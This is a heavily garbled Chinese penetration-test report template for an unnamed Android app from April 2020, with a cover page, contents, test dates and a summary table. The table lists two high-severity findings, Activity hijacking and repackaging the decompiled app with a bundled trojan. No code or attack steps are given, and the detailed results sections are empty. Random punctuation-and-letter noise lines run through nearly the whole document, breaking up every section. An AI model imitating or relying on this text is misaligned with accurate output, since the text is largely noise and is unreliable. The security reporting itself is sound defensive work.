: Q% B' t# R; y+ h/ L2 K
8 C* L1 t% H% u( o2 s& |
7 U& g' y- @3 E% j% m2 q1 L3 p9 n4 d5 R; E% ? ]4 u* U
: V; b& y. R* C B6 W* \5 x, r2 `$ A% d
8 L$ P7 M$ Q3 Z/ n7 N0 }/ |$ w' N. q3 U0 a% f7 d5 m
c8 B& m( V# g% @
6 l! C) g- s, k0 I) h* e
- e- K* N( d' \. ~7 f. b
6 t3 A/ F% X6 R6 X2 x2 M! P$ w 文档编号:
, K7 w! f( J1 e Y' v/ d+ M- M; n* ? q9 d2 X/ @& P
* m7 ?/ E' {; ^5 {
: m* [! |+ |& ?$ g6 C1 V - h/ x6 ^7 c' m
9 n1 H; ]. B+ n; \7 p }1 p
( U# L' Z2 i. C' N, [ o3 G8 X4 L$ @, n$ \7 O0 F' j6 ?
# Y2 [* y) ~5 s4 N7 Y, Z' E& ?2 ]9 j+ F6 E
& b4 ~" H, U" |/ Z3 ~1 U$ E
{4 p7 H0 |! u$ L5 i+ `
9 k0 ?5 B! w3 U4 Q
. S5 q6 D {0 K
* O& c1 A9 S& Z4 H" y0 W
- d9 o j" e* c $ b& [2 j* {' l; O1 K
* T7 Y/ [/ t3 T: v! |' { 7 w6 V3 ], l) A8 l
+ \0 E _! o1 d, x
5 E. \3 q7 B& a) e) C1 _0 I* S6 E2 F) P% h
J/ P' y/ y6 d5 ^( _: \$ r' d, F
$ j& g' n6 ^% Q1 V$ i- T' {: O8 v! Q
& ~* m3 Y6 Z6 s! [3 g
, {+ l+ X4 P- q
& `# `. z/ l* s9 R/ _) H
D+ R8 o% V$ j3 O
2 n" a% g4 e$ B3 c% C; v" |# I' h; P- l9 I
3 n( {; x/ ^8 V' N0 N
% C* W) ]1 T1 G* R' w8 c0 J
; ^. X2 {) J. X9 P$ o
6 i9 y s9 u1 o8 u+ n
; v$ u+ P/ z8 Z6 _2 P J% E$ B* [7 Y! x6 ~' h$ [5 X
某某某APP渗透测试 ( w( x; g2 o. y3 L. Z# u
( N2 N7 E; e; o" A& t& O
$ F6 R' F. G; b0 O# M: h2 B6 I, T/ B
; T# ?3 a% e' Z7 \3 F
, ?0 K0 g Z# R* a
' r; H# G" C! J+ B
- [& Q' D- ?5 h9 i+ C: a" o
& ~ D! d* L5 k( S
# s7 U; h9 U8 T7 ^: ^" W. A" m
! S/ v5 ], ~ S8 t' V( p( K " |* W: ]. b+ z" }& Z. L
! a6 ^& C* \; s- V* \% k 9 i y4 `8 W% [. k! t
; m+ s8 }0 l5 j& E/ Y; M
; A3 [0 H6 B$ E Y; D7 @& e, @# `0 C; {* w
) [; b$ |% z V+ h- {
; A# G& L. [$ @/ q& Q5 E# U
# _( B$ \5 @" W% @+ |
* G ?& o$ G9 c7 v% g$ j: a* D" d+ r/ N
2 X! H1 b/ X6 G; ]
. m4 U% B6 @5 C( u, | % ]* L7 r- `0 w% A8 f
/ A0 F" q% o- B; w
1 \% O o2 m8 u8 l9 s2 v6 [" d
0 f8 c( D: L" T2 K) a! G
1 C6 g( n3 u& [' u! T' T; U/ ~% }! l0 H
3 w: w, S2 q8 _/ I! {# u
9 @0 e5 o3 o/ _" t& x+ c" K 技 术 报 告
% z4 Y: t" @9 f. M$ ]+ G) \- L @( ~2 k. Z- z
; F, ], D- H8 |! S/ j
: B+ p8 s0 j" f# Z% F, D0 Q
4 Z* C" h _0 G+ v9 x, _. L6 o- m/ |7 X) C0 ]" O
. a1 |/ I- d; P
) _- Q4 e' w3 p2 F0 o
' j T; }( h" w: b2 P
( M3 \- m Z2 O! f% T; a; w ( @! t4 N6 S6 S7 S1 ?
, P! j6 V ?0 e d/ ]' Y
6 J* b7 _5 @6 j2 y+ F% s, Z% E1 T' s$ ]8 H( g: q9 ~/ j
) w4 N. d( D) e8 _9 _ P: T8 U2 g/ Y6 [! b3 W
* G8 c- t/ z2 A7 F" w$ a
5 Q2 P% o2 m# O- ?9 }* w% C
. {4 _. M7 k: n- R, o9 w& ^3 B8 w$ l0 }8 a
2 g' W3 Z5 E0 f2 D. V/ |5 p# c/ w; T9 O9 E% |
. M/ }6 O# r$ r3 J" K
; j& A# O2 L8 _6 v8 A, Q 1 o4 T; ?3 A+ o9 O- M3 h, t. q
0 ^2 q; a5 ]3 u) C, X- k, C
# T5 ^3 k7 i1 u+ E: }# H4 o0 ]% K
7 p# M9 w6 R& s* V% j 5 |5 {1 C3 q2 ]+ U/ A T
4 B4 H7 i7 ~% @4 X0 w & [, e0 u' k5 G# f" H5 o
* Y! D; t5 {; [8 S0 c5 N' q2 u% ~
9 I, V% u5 b' Q* i( m9 q3 s0 J6 B. p* s5 x
% \* d* O3 D! @
$ h3 W, A1 @: {: z/ z1 H
2 K) L9 ~) M* D. r, U3 a2 k
9 P6 Z, m9 G! d* m |+ _/ S, W+ E& }0 E
4 l; R0 J3 ~$ Y, v. g- O( ~
. D: Y! U! R S5 g" {. n! M7 e
" b R) s) i4 V
6 o( Q4 u. I2 C
% o2 X& `$ |7 u# E
0 S- C( F: n( N; T
8 r! D4 \! i: c6 M8 z4 `. n
$ R0 j8 P0 R, _# D0 j6 b
' M {; d* Y- Y7 I. m7 z- n. x4 \- Y; }
3 |! p3 L1 S3 S6 O# g; x6 i
% B# v2 p) ^" Z4 U+ R! {# R/ V* z
& s W3 X4 |4 y4 e+ [; m
! A' t [$ V: H2 x. K
4 C7 C' Q U# [* Q- @. B
* g- |+ I: _: t% R' v4 N# P 0 q2 c0 P& w: k. h; N6 u
. e: Y5 s, n8 k
f# Z2 }: j8 M( k: N; D" X/ I( d: `0 z8 D
2 m0 X+ L0 Q0 R" T1 u% A
) r, }7 B5 ~8 ?9 }7 u
1 n! ]7 @" L3 Y- Y7 Q4 z; ]) z& s- m
% |; Q7 T( n# Y+ M2 k
2 ~+ F- V6 m3 N, g) f& q 6 Y' h5 ] f1 b& v) ~' q$ ^/ f
$ a3 U' i* Z' |+ D/ a+ R
( R8 V7 M) P' a: P' l
( D1 `0 v2 [0 M0 n+ n' ? O
0 O# p" q$ B, V$ h; n: ?
q. b M8 Q; V+ G 9 M, a& Z% n5 Y1 P$ D2 I
4 c+ ^# g& x3 {, W. J$ }( d7 U 3 j( E5 B% _ w7 @+ A u5 W" r
2 @4 l8 R+ ^# @; V
; R& e' Y% r( Q+ E
& K( B. D) T6 W9 ?( L
/ c: F, g8 g7 ^4 R. G+ O8 N" g3 n; J* ^
5 i0 N' u* h( I6 Y. q4 ]2 q2 r" }( v* w* O$ i: _" B# a
8 ^0 B9 L, P9 O' y- V2 T' |6 ]( z' H
* u% Z6 R- p2 P! f
( v D7 x2 ?1 \: H& x- n; b4 B7 z- k, Y* x( _
8 O" E+ }! c5 {& k Q* h, G. H+ b
2 ~# S+ N/ k- x& N* N
. a1 m- h3 t: ^: s
# T* D. p# _1 ?
4 q6 F) N+ \7 v- s0 A A$ J& U @3 k7 {" [: f: s
. E4 F% t8 g6 [& J ~
1 ~! u6 E1 B( P3 r B, i
9 K9 V2 |; q; y6 h' b7 v- B, U" Q3 W% o9 |
/ l8 Z* r; f/ X8 k* c. q
/ a3 h; q( N. |4 s
5 ~% L# [0 W# X: _1 w' h. c# X: u: X
- d6 R4 S; @( H9 U* [& }- w0 W
7 a* O" \9 r/ ]- O$ p' V
9 e* f% X5 K/ [# D' U 4 X$ d4 Z& [8 O: B! d
/ h' a z8 o6 S; F
% b( u" C9 i- I5 v
( Y+ G( d4 i& }8 ^. X4 c
$ B4 M) X7 c' L9 N1 a0 [4 l: t
1 U/ y, ^" k1 N4 j
! D/ {2 I3 U' L' p- R: y! F/ ^/ T2 C
8 y* ?' j- u" I8 C$ }
! H. w6 S ]* e$ M. A, s2 H3 @5 |* ^! w' e
, M, t1 h" x& e
3 O2 N3 P# ]6 }0 ]8 M
0 ?" ~ H9 ~4 c& ^ y$ S9 a# \. k& i. P' e9 @
二〇二〇年
' H/ q! I- h* p8 u: R8 @1 o* K8 M4 H U7 [; D
) X6 w( x* B; g6 j- r1 [
4 r" O6 K, B- m+ _ ; u( L# P' c3 V# `6 [( j5 \( \
8 J; j2 s$ V: y8 o4 t3 P
, u, w* k2 H. w% `) E
- k, _: T# Q `6 _$ R& M6 r
* r. Q0 ~( O. {6 I* L% t, ` b" E4 | m/ a8 P/ V1 x0 C
' Y! n2 p5 a" z2 y f1 h$ T* I3 s6 W, @8 A" L
0 s k2 E( [8 c6 ~2 X2 q! i- Z. C4 m, G6 Q+ ^0 n
6 F( A$ c4 F. q1 ^
8 J! P/ Y( b, l _" N M, e) ~0 v+ J' [6 U4 _, F8 g
: w( d0 O( M) H* d ' x) l4 f, @: Y" u
. R9 u2 W* [+ M1 q9 \3 I E
4 z% U& E$ z* N4 `' q6 \' m4 h; v W) _* P
目 录 1 d* Y; k6 C! O7 `6 t' G/ C2 u
7 H+ X' D) h( u- K% a7 {
) \! q+ w) V5 u+ s- r# \1 _$ E" g! r
( O; H# s5 V! Z' i: [8 u' Y! l% w* m, N; r! k
# l3 ~/ h- }3 h1 b" q
4 ]6 D8 C' A: A& F* O % ?( [: P& F6 Z9 @! \
6 [$ B& v' U2 k" d1 J, N
: ~( g$ P3 _5 {( P
( v) ]# a$ f5 N/ x8 F7 d, W
! {. Y) c+ D3 T6 x2 S
5 ?- D; q( q, n 1 概述... 3 3 R% K8 X$ X/ G' I+ j
) \4 L. ]2 l9 m: _" K
& ?/ T" B5 y! {; n* T; J1 w8 f. o8 Q+ Y/ F0 w7 L% G
( c( i5 j( {- ~+ Z3 P8 w3 g u0 a
6 H9 Z( e; O6 V 1.2测试时间... 3
, D# G* S) ?* O, M9 _, E- E/ w% K" ~& p5 h+ Y) n
8 P/ t5 B. F. G& P2 N n( T& `: g
0 Q5 G, y4 m( x7 {$ R
0 f; G' l! Q+ i+ j m k# i
# h/ G& D3 {; v+ i 1.3测试对象... 3
6 d! e2 ^2 ?) l" J/ B7 l/ r0 E1 A+ R1 Y2 D: i' a; |
2 b' {3 c4 ?% T: E
/ s9 J S8 i& i+ d) l. y
6 @* T: N" h$ r1 L9 d a; f( L, j: u6 a# K) K
1.4测试结果... 3 7 q0 I- Y- r6 E7 a) d
+ v2 m* Q3 R0 K, Z1 t8 P
+ ~# O8 {, H, R0 e E0 d4 ?- T; ]: X) l; n6 h6 a- J8 M7 l, q. {* G
! ~# e2 N- \8 P- _4 h5 n
9 z! L4 M! [; Y# v: Y6 y+ W; o7 z 2 检测结果... 4
# L( H8 `* D- S6 a n/ ?* n" X# c- u/ [ Z4 Z
: ~: O7 E, ?( N
$ D, P' z( `% e( s9 r' ^ g & d7 u8 R! i8 F. W3 r- l
; r6 I3 k1 [4 U Y8 ^/ Z8 M% g0 O4 z. C9 h 2.1 某某某... 4
Y$ U- G _: x! h8 H% `
. {) \+ j! _! r5 ]
9 S& u! c4 o6 H# c
7 y7 G! q& }/ B9 o g$ d( m 7 L$ W6 ~ I7 v! o3 q7 X
" D, f7 u2 W/ N2 B+ b3 I' I- b 2.1.1检测目标... 4 O7 ~+ ~; n, `) A% c: A
7 y; ?1 V6 S$ L: F& q3 _: a ~1 Q
/ t, N: W/ P) B* s3 D6 y
' [9 P1 J% [- h* q) w) T6 r0 f
; s9 J, c$ q7 U- g+ I1 V
/ M. x: G5 ~# P9 J, ~ 2.1.2检测结果... 4
- ~- e. r# x1 {2 @3 G% h: Q* m' m0 P. ~5 [ c5 p+ p: H. x! r) K) P2 ~
) y& R1 s' R% t4 g+ v3 F' h: D/ f9 f7 p" ?
) j" k# [3 | }2 p. D$ J
4 S/ l6 O* \7 { 2.1.2.1. 4
" s0 a8 s L1 E* u* ]: ]" L8 o0 M3 P+ B6 m! T
; W( @* n, b. m8 r7 ~6 q O' G7 B
" `6 V6 T; g5 W( v! S+ i! I. S+ e+ t
: _& ~9 m; u) P" R1 _
! c M( a; M& W: s4 G8 n 2.1.2.2. 6
- z5 z+ \/ O7 f+ m4 e; Y5 j G- |: `9 u) H" L3 w- M
- G2 i6 _8 J! M0 c) C* Y7 j+ l, Z9 N7 T( V. Z$ o
7 V$ n" w+ ?1 P% R8 L5 ~
( \ s& R. j! }1 z+ G9 z" Q * z: k" \: y. c9 a( _* M
! y$ b8 E6 ]" k4 q8 T0 A
! F) G/ f6 I W( s7 {
) q' h% q! F9 F0 R7 X0 p0 X0 _
* y9 a+ Y: G- ~2 a6 k% z" o& e: ^2 `) v9 E6 P% K0 G( k& h8 q2 l
+ R( l5 F/ x- M0 }) O1 ^& ?: @# V4 F# G* \' t
! U( b3 I% y6 H5 r7 G
- U5 `3 Z" M- r. N
$ e( \+ r) x }' d# M" n) I/ S9 \. n+ r6 p1 N
! G! A" V9 I$ _# s4 p, `
4 j4 R9 D$ \! C
1 概述 . ]6 f6 o* l: q v( s
1 p: f2 `" k/ C' a/ ]* g4 k
* A- S# [. F' [4 k8 d* v7 L" R0 T
M5 }% d+ }, c g1 q # r3 i9 E0 y4 U0 \3 [
3 y) k7 G6 D ?" ?1 [9 ^( r6 ]2 q/ l
1.2测试时间 , b& W4 ^8 d) E! g, o
9 R/ G1 c8 h% C/ X, \' K1 G" F
3 B+ [& i _+ M: u& y
4 O4 z5 x8 W, T6 A& Y 8 V Q! S+ D! B& S
8 U+ \8 U0 t( V7 n, i L
, G l: m3 Q/ A& E8 Z
3 E( {" q4 C( E- G; M$ h
7 d+ I2 P& A; H6 O g( P# n
0 X ~- o" i+ p- l. m! X9 a " r* E. P) o9 _. p! r o
( }' k3 D* a5 ?" v' v
- A8 L4 ~5 E! I' V2 {) B7 p5 V
2 {: v8 d& y8 J: |, {' G0 b, e2 `
渗透测试时间 7 z$ @- |2 S& U. [4 y, C" e
" N: X; m% ?& u. G1 e # C* H) d; p4 G+ J/ K5 N# G
' R1 p k6 O1 g4 U& `. J | ( v' p; |! \3 B- U& ]6 w5 j: H
3 z! o7 \+ D7 u' d1 m: y/ g
& h0 {) f- S+ {* t. U* v! x; y
6 V6 e2 s! }! Y6 X6 K 9 u3 E' G! F3 y4 l* G3 z9 W
2 a$ G7 z# z' W+ \0 t
3 b7 M! S9 D5 }2 U; r( ^
+ x g+ m- G( z: K
+ s f9 d1 K; h& d R) ^# E8 l4 ` m. |0 j
起始时间 ' l& b, `9 F1 H+ X6 t! i
* ~6 Q+ z" U. j
2 l/ @5 F, L- P9 n( m( w2 _
0 h8 v9 x/ b" L) u( U3 T" z/ p |
5 T# |( K5 {+ r% S/ A- B+ H4 H4 m, i5 q+ M
. |: x' x- W- l$ _ F" G
4 o6 [$ W8 ]. S; g7 k+ I : A$ P) N! K: N8 g* d
9 C( k* d t( m 2020年4月6日
2 |% k: q2 S$ N7 M" g
2 o" N' R# Q( C. y; v( p 3 a) f4 M/ {- S' s$ E1 s
" ]9 I! v5 g( t1 k/ D x8 }9 M0 s/ H
|
; w' A1 \# @$ r0 P) A2 f0 L7 B- g/ b/ {5 _1 J3 b9 m& ? ?
" A; y% q3 L% K3 R+ }
9 S' v; x a8 |7 q4 t+ K8 i
3 y' r C& _) u- x0 n7 E) n4 I# M2 l0 S
3 _ S, c- k; R
2 ?0 P7 W- ?: K0 V6 S* w7 k* Y
4 c0 w4 ?* l" W9 j( a( k8 |" m1 n$ j1 I# ~8 A
结束时间
& S' u* u2 g3 L, D
3 B" M. ?7 \. R, Z- z1 ` $ E' V# ]( q/ H7 h$ x8 Y2 W& T
# q S0 X/ s3 o# G( L |
& r# |" d1 H% q% c: H* b, t6 ]0 M6 x+ }. a# Z- O; [$ s
% D& x6 i& W% _0 Z
6 l% d, p, k* `: \8 c
: e- t9 ]0 _2 _! B9 p4 Q, G
( `8 g+ [4 C/ f) B! ~% N4 T 2020年4月9日
% B0 u! C; ~/ r1 k9 f' O: B# A. U/ o+ g6 }
% {$ z& A& f J D. h; B' J6 K% A0 f( G% _( t
|
4 }4 s+ M& z, r- k" M8 R, x* s# {9 Q# V6 H+ {
* x; u( ?) Y6 e/ n1 P4 G+ c
8 @, ] Q4 Q" l 1 x9 K" ]$ g1 _% {
! G- A+ P- H3 n& _/ c
, r2 ?, Y1 Y8 G+ q; |$ f9 q. M$ ^- N% c8 [! ]/ A
, ^+ U1 K: L' a7 N( O) {1 Z3 h) w4 n2 T5 T' T, ?2 O
1.3测试对象
. Q0 \# m/ b3 D/ L; o- d1 l$ N+ Y% q8 V5 g; }
1 n; z% B5 p" L/ T& ~, R% f
+ G! \' g$ x9 m4 s$ _: ?. r
( k4 f) V: ]6 w7 R
# V' L# A R$ O0 N( t, M& [9 f: p! L
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: $ w! F2 y9 _9 k" ]& I; D* S
% l; s) Q! A* Y9 I4 T1 J
( e1 A6 h0 V, h) Z' N; T& Z0 E
: z( G6 E7 a4 g/ v: X6 m
! |' J! z! ~1 s& |
$ v4 u) i* x- ^ 表1-1 检测对象 & u0 L2 _0 X2 p0 ]0 k7 S
5 ` S9 G) o. h1 Z/ ~2 y% ?
Z+ c) I1 H. w, q
I( f P( d* ^: Y! h 0 i6 w3 L: n) X' t: C) v8 W
$ ?8 |! _3 Z% h) a( H
7 E- s/ Y5 j; F$ W8 J( [1 J/ F8 r. J# @: s5 p3 R- h5 P& I( h
) C M. U7 m* a! D k. g
" m5 q& W L: Q: F& |7 `
, ^6 k* x5 Q; h# m" G- W3 G8 @7 p; C, ?2 G y
" u/ n- B. Q2 J& S% g$ g7 k
- M M; b; m7 t+ I+ j2 E
序号 ( F4 ]: n" u6 @# ]( M* L* c& f2 L
% a v0 j& u+ w
& Y. T" V# M% A, ~6 `
' S* `) z1 m6 g; C) S
| 9 L# a# t1 `# e5 V% V- d
0 _4 W8 V. d( @3 o, u2 a
$ c; R2 h; T: ]9 k3 j" U) y% V, M1 E! |9 ]
( A" v8 W1 V# Y( W$ ^! D, `
4 L( [, |5 a/ Y g$ ?
测试对象 ' m' H$ _5 `0 @2 s# n
+ ~' j x" v( T: c( d
1 J7 P f+ ]2 M1 N: {
v' S+ a3 \9 n6 ~" L+ B; d1 k | " I- }4 }. K. x3 y4 h- R6 J0 z+ |
) G( H5 @( `8 I0 D. b
" t2 z( p5 a1 f! G
3 U# ~6 d5 X% Z! C1 G4 _ 8 |2 t' a8 E9 s5 B8 q( _' x" s
: U2 r4 a! a% F% B3 k$ N 测试地址 . E- a% t4 I7 |
1 K( m7 P; k8 ~) |5 B+ @
7 I3 r7 R. F2 G& f# ]2 o
+ C; B. Q7 K( J& i0 U |
2 a! k: }9 O& R2 h ^# ^ U% K$ f2 k9 Z
: A8 v5 s- V3 h4 Z
1 L% h4 n5 M) f2 u1 h( p2 W2 c " [& g0 J; _- \7 ?: `
) I: D0 y6 a9 Z, D3 {1 Z 安全漏洞
7 \& |1 q' d% O7 e a% n# e! V$ g2 Q1 q' v3 H0 Y- D" v
, V8 A; Q$ F8 V- V+ G
7 _/ O. p: X% o2 C' D6 v8 q
|
6 N8 A8 }1 w# f3 N2 o' P7 X- R& }* i; W' F' s( [" ^, a( }5 b. d. p
0 x" Y2 |4 D$ x
P: K4 _# G: x2 U1 q% H9 \9 ?
" }% w) z0 D1 h& A S7 r# M9 w
# R- P' E4 U7 Y& a6 ~
- v* J3 K' r, V- h$ C
. @' e2 c) g+ P& k& G
# j# f I2 b$ ]3 `
. Y5 T4 B& p* K! n' S f 1
( P" o' a e% D, ^8 k9 S4 H
/ V8 F6 V3 L8 s* ] 2 q/ n; _- S6 X7 q
# C, j: w N7 e: E i6 s: O& B* ~ |
: f+ X8 D; F. ?+ v! _, H
$ W# E* b+ t% R0 F9 @ : o: a1 `# _/ d2 h/ D
3 W4 c4 W7 Y& J% ^2 [
. e6 ?; ]: M8 H! S& W, p
1 y! |8 s3 Q9 \4 q+ f6 ` 某某某安卓APP $ N( f2 m1 o, I
7 G& P: p0 m0 S: \* o) `* Y " g2 M( [& ]$ B0 `, Y! F
1 n% f7 V9 Z( x9 E% p3 r |
$ H8 h# \4 l6 K& y# q, M- _' b, |' N3 n$ O' Q
1 b7 r. O; s3 \/ t& e
" ~! S( Y0 |8 ^/ y1 H8 c* z
- G3 _! ?# M* O) y* K0 o
5 {7 W3 Q |; E" F; l3 i \. S5 J4 L: u* ~# `8 x7 u
8 @; x5 B$ D9 M# [0 Z% l' w/ `: A
0 J" q( f) F) J9 L2 N
( r ^0 c( L; p y# V | # X* ^4 @* O* Q* C0 C0 N
1 ?3 p: K0 v2 C* z; B # a/ P. N4 e6 R8 n) Z9 G6 Y) R
9 }0 n+ x) l1 b) E0 c
; q O* i5 Q; v3 }& J% V
1 `. k& T# A& V& ]# z: H 2
& x! @/ x9 t1 l" M
5 O6 h4 V6 C/ R* V0 M& j
/ G* B4 d( d! v* f7 k7 g0 W: _# b3 V. d4 Y6 [% i
|
% J% \( h4 s& P$ n& G0 U. b. q2 W1 D
4 D9 X: R# K x# L9 V, W" t
* J9 `( c5 E( y6 i( t' D i 2 ]+ ~& F! w8 n) l$ Z) `9 S
/ k: m5 v. w; d" ~
) ]/ a& v" [0 b2 w$ q* ~+ Q4 k" ]0 v* a3 f7 i6 e
8 q3 _8 w9 ]1 H3 s2 k
* |7 A. I2 p; h, w( J+ K
1.4测试结果 - ?% M8 \! r; G) C
) M/ v( m" l0 I- D8 W
. {+ m8 ?: v' J" W5 U
, m7 U- o* j& ?, U N
' J# S, ]- ^! R2 b* |: l3 w, Z$ M- f' r o0 n7 ?1 }: B
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
$ g- f5 r9 Z# T1 z _9 S# ]* H
' }7 B0 B, v; {$ n; u6 l7 `
3 }( i- L# v0 S4 R- h
. {* R& O! ` o) J
o9 W5 p" d4 b% n, s& r/ V
8 I2 H6 d( N- N( I1 M
F; s5 K5 `8 K4 [- \) @1 k. g7 C) Q" Q- x
/ W* F3 F, Q3 Q; b4 d7 I6 n' r' V: `" c$ w% o: O+ R" x
! s4 L6 F& ~; L6 b+ \
# Z# g; E5 E5 @ ( E7 `0 k* L; Y: a5 {( S
5 a0 X2 D$ j j! N7 \
; e* |3 T. ]' o6 ^; j0 _; [
, N: A9 ~4 n) q$ \6 Z7 l s + G! C5 s# E' n9 ?, Z) r4 d$ G/ J9 F
5 [, K& U; G* {- c- Z E/ U ) z5 m2 V7 I6 |6 Z5 `. Q
2 T% o& \8 _8 S, n& u
( j6 X) |: _$ ?+ R4 y+ Z# K7 c2 q
序号
! c, L" `$ k0 b8 G! ~7 I( s, y
* d; y4 @( } f2 N4 ?; x$ L& _( I
' x) o3 A+ h2 ]; S1 p- s
6 h! s0 }* [* v9 `, ]& h) U8 F |
& B4 ^! V9 ~# N5 |1 o" \! N0 X0 A% h9 o/ {& s( L/ l& _5 t8 ~8 h
7 F- z/ J" O& r, b
# }8 w$ E0 ?/ \/ C; X
$ w7 |% \5 t& |' w. T6 o
( |3 [( W+ Z8 K' a 系统名称 6 [- X+ Q) f# b! ^
5 x- d: D! M ]
. o W; D6 R4 ]6 d
/ W+ z: l! W8 h; d2 t | 4 d. N, } d) \+ k- U4 q+ v E
* z/ x" A8 B' F 0 B0 E! j) Q4 ^4 E5 @: K
/ s; I0 r. @' S, R, p! X
% ~' r- k4 O) L
# n! Q% S( X3 d( B$ ?# p% F$ L
漏洞名称
, G" W" D$ G) R1 A6 R, v5 a7 \3 M9 a8 d
; Z8 u2 O% ?+ d4 y& L1 n
3 K: J1 c5 T. B; h/ Q/ O5 |+ S | : v$ C# \( s* h* G3 X: l( x/ z+ P
! X& }: B4 U7 u# f( o) A
7 i4 f+ ^, x: f5 U! f
* j6 X+ z& ^- o' I7 j% d - H% C, Q' b2 N" l% x) ?: A0 M
6 b2 Z5 H5 h* K5 [, V; \& {$ t' g
漏洞危害
M& a. ~: E1 v! e0 }- w' N @4 S. x- |8 a
0 y1 O' f# c N2 n, I
* T+ }7 A% T4 u, i! ~6 K |
5 T. f U. v6 i- x) U
9 ?! C* x3 B" a% y. H
1 Y9 F. Z4 T6 O. j( z. a' R) E* Q
* |9 D" @* `. z+ W! H
2 i1 _6 x* ~; [; T6 I# k# c9 z- ~& `# h# Q4 ]2 ~
修复结果 ) T V" q7 M% }: i; t& d
" X3 k9 J+ [ z/ }" d: g2 ] ' Z9 _$ K G$ n. D
8 M _1 t+ N H9 ]% K5 }5 j |
9 N* a7 A+ D& l& r( X# Z: M
; m0 c9 i2 C; U" {& r B' o
- F& M& w& Z. @9 @6 x
! e% j% n' B& A) A& z' |) i1 A
5 _6 k; T" c' Z/ v7 F* f* f7 G) u- d9 E1 o
0 O4 d1 U6 [. A' M3 y
1 J* ]0 Q. D; O1 D7 J% N- Z : C1 `2 D( Y( ^" e" m6 Z& g" `& w
9 n5 `+ ^3 s$ ^& t 1 1 t9 i) Q- A. S; }5 R: p
% E9 L9 R: K6 H5 u# @
) \9 ~) M' X5 y9 s% J% Y' C/ f$ x1 j8 L- @' z5 ^5 c
|
3 |, u w6 e$ m$ ~( V# F
; p: J9 H) X) \9 Z0 c
. {6 I4 |' {/ ~5 B# y1 U7 C/ a m3 L4 o( {
2 U- ~: D7 {, k; \$ [- M
5 c5 C" \0 w/ E# U! Z2 b. Y
某某某某某某APP $ \- S7 }4 c, y3 n7 {7 D; y1 d
q1 b/ v6 @" n% ?: i6 E0 x 3 g8 A3 N- I( a
& T7 D E% }) m9 o. p
|
7 W; }8 A: A+ `0 j8 Z) R7 X* |7 c0 R( i4 T6 f5 z, M3 e; C* l
: \6 z' r! {5 Q0 X& I
/ L$ o' t: k1 X# w2 N6 r; ]
' @" {( _7 A7 D6 z O1 @
' f* v% C( Q7 _; | Activity 劫持 * ]" n; I3 s! W' x$ F, J+ x* d8 \/ B
* b; e: C1 A4 _: M6 M2 D; n$ n
) I i5 O' G4 r9 }% m! w4 ? D( b. v0 j6 z5 P3 A( o5 Q4 t
3 u) z- N/ M1 a2 W) e$ M& P D A
" M \' w/ R; I5 r
4 w1 [# T6 Q: U# Z7 \7 h6 q
1 R) Q; Y* x5 o+ N0 \; V$ q9 a8 a7 W
|
) J9 N- k7 W+ g- H, w& {: i* Q( {0 E& I- L% `+ i# M \: L5 C
. [. ^2 e+ G" y9 ?7 Y$ H# G/ p
6 @0 f4 j2 z; @" j
0 p9 T& [) q3 H2 `0 C
" N7 z; Q% Q5 _* b9 a& D 高
, {: ^1 s( R- y5 \5 N" g3 F' F
/ I1 R* `0 n/ O7 l' \/ F" A
. d# j( i+ b# L& N" @+ z
|
|! K' ^# i/ D1 }; u' u6 W) J
8 O% n% @ i9 h% o; C
) f$ O$ `1 u) I8 D z# k* q+ d2 T
) A( g* I4 h' S
- L: b8 }& @- m6 U3 @ 7 i0 F! e4 V( `% j* u1 r
$ T9 a6 y4 q) O( B6 p$ V( ?
! J4 K: S/ U1 V# z3 ?6 D3 ]: w- W h! s* F
|
& ?3 y3 E# @) _5 ^; O# W
7 Y$ l+ T2 C/ m9 h4 a
% t1 y0 C$ o& i4 Q
" o1 y" E) `1 ~/ o9 t* a3 f, z8 A , O, d7 G" Z8 Y/ c' A% _+ R! ~( {) ~
' X2 m4 |% p7 K% h3 `! r- k' z9 [
/ Q: J# y5 w$ Y# U1 m
6 s2 j- [- @# c! w" e1 f( N' q
6 i4 p+ S, N% a
, L7 E4 j6 I% g& t5 i" ^ 2 & k) \/ }; M' M
& \, Q7 B5 P3 @/ }& b- k
@ w1 E5 ]$ E' l5 r
7 k- L+ ]% D9 |0 u1 ^
|
7 i) G- j; ^+ v' H+ V' z0 D1 x2 j- X: |5 L2 a
5 }* {6 R- H' B2 _& Y+ g ?) O7 v/ `# h" T& u
2 |5 ?; S, x+ v, R, f
0 b, I, B4 ?. E5 p' z 某某某某某某APP 9 _0 J1 z1 X, u
; G# Z9 P# c6 k" [' t
$ z3 V5 R# R# J! w$ t/ E/ R
8 V' r7 n8 Q( b0 X$ @* h( q- [& j0 Q | ' K1 D+ ]9 A0 i% W9 S7 a2 H
4 v8 q" s" |$ J( A 5 K z( _( i! R- ^/ m
& V4 S) I( H4 U( @
( w* } n3 Y o O! m+ U
' W9 a% C6 _# {, \, K
反编译二次打包捆绑木马、篡改APP代码 4 ^+ S; w9 A2 b1 b* @0 r$ `
3 E, o: \5 z z' _0 N+ G* [ ! t/ N- t% p$ R2 W6 j# U) |
0 ~- u' U- p. S1 X7 q5 [8 q0 Y
| v' o+ D- ~9 s
$ E6 i, N6 A' s: R% V" X
# C& R! ~$ ]( X4 y6 u. T. o, p
9 ~! i3 m1 f) k) G3 [ ; \+ |% c" ]+ T% `% A& y) c! E3 y
" T8 X! o; I) }
高
) m) W; t/ u# l9 X0 C( |# G: V; M7 ^/ H) h, ]
* L! ~$ I: D ?$ I
2 U" W4 J( V, @- q* U8 B6 O | 4 D# K s0 E- G- v+ a4 i+ C! }" ^
# O# |8 q* O# z- j4 \7 v
* D4 j$ f5 N0 H( p+ h7 E
0 u& i7 s+ k& a. X8 t6 ?6 s
+ q3 I2 {; ~! [, f5 ^
; G4 r* ~, Z- @2 Z
+ Q2 S- [- C7 c8 P" v
1 }$ q/ G% ^3 Z0 `% G+ x: N 5 Z/ ~6 k" g/ |: G% r- j
% h1 u( j6 n* T. a, h
| + p8 r0 v: T: ]/ O1 b- p" m
& n( ^# ` u5 n7 h- P: H
! |* s! ^" c( }, q6 b
6 C: d2 F! I! V
5 C) y2 J8 f; r% L4 h& `5 ~9 ~) s3 e# N' T
( N' Q' @! Z: E8 }. u
( f7 x0 C, Z0 Y3 A; C h% ~" Q
) V7 d0 D* y% K, U1 U
( G6 t9 Y' w O3 P5 w 0 B0 C0 K' A/ S$ e
, a$ M$ M! A' r* ~/ D
" m: A6 h0 i' y5 E& V7 K8 v9 s1 b) F7 ^+ x: q/ I% c
) o0 O% w- B1 W* u- ?
